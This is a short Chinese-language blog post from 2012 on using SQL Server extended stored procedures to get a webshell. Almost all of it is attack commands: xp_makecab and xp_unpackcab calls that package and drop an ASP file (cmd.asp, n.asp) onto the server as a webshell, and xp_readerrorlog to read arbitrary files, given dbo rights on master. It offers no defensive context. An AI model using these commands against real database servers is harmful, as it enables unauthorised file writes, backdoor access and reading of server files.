利用MSSQL扩展来获取WEBSHELL
作者：admin 发布于：2012-3-12 16:52 Monday 分类：MSSQL
12Mar
EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'打包
EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'
解包，可以用于得到webshell
EXEC [master].[dbo].[xp_readerrorlog] 1,'d:\cmd.asp'
读文本代码
要求权限：
master的dbo权限
持续收集其他扩展...